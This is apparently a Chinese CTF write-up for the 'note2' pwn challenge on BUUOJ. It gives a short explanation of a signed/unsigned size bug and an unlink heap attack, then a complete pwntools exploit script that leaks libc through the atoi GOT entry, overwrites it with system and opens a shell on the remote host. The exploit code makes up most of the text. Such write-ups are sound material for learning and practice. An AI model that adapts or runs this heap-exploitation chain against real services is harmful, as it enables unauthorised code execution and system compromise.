首先,有符号整数和无符号整数对比时,统一化为无符号整数对比,所以本题中,输入size为0,则循环中变为-1,也就是无符号中最大的数,实现无限写进行溢出。
然后,unlink中,决定大小的只有fakechunk的size和后面的某个chunk的presize,两个chunk中间的chunk都可以通过修改大小来覆盖掉。而且,无所谓合并后这个chunk去哪儿了,都会将list指针修改掉。
最后是打的menu函数中的atoi,本来想打freegot,结果因为chunk不太够无法打。
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#p = process('./note2')
p = remote("node4.buuoj.cn",27593)
elf = ELF('./note2')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
def newnote(length, content):
p.recvuntil('option--->>')
p.sendline('1')
p.recvuntil('(less than 128)')
p.sendline(str(int(length)))
p.recvuntil('content:')
p.sendline(content)
def shownote(id):
p.recvuntil('option--->>')
p.sendline('2')
p.recvuntil('note:')
p.sendline(str(id))
def editnote(id, choice, s):
p.recvuntil('option--->>')
p.sendline('3')
p.recvuntil('note:')
p.sendline(str(id))
p.recvuntil('2.append]')
p.sendline(str(choice))
p.sendline(s)
def deletenote(id):
p.recvuntil('option--->>')
p.sendline('4')
p.recvuntil('note:')
p.sendline(str(id))
p.sendlineafter("Input your name:\n",'a')
p.sendlineafter("Input your address:\n",'a')
ptr = 0x602120
fake_chunk = p64(0)+p64(0xa1)
fake_chunk+= p64(ptr-0x18)+p64(ptr-0x10)
newnote(0x80,fake_chunk)
newnote(0,'a'*0x10)
newnote(0x80,'c'*0x10)
deletenote(1)
newnote(0,"/bin/sh\x00"+'a'*0x8+p64(0xa0)+p64(0x90))
deletenote(2)
editnote(0,1,'a'*0x18+p64(elf.got["atoi"]))
shownote(0)
p.recvuntil("Content is ")
libc_base = u64(p.recv(6).ljust(8,'\x00'))-libc.sym["atoi"]
log.info("libc_base="+hex(libc_base))
editnote(0,1,p64(libc_base+libc.sym["system"]))
p.recvuntil('option--->>')
p.sendline("/bin/sh\x00")
#gdb.attach(p)
p.interactive()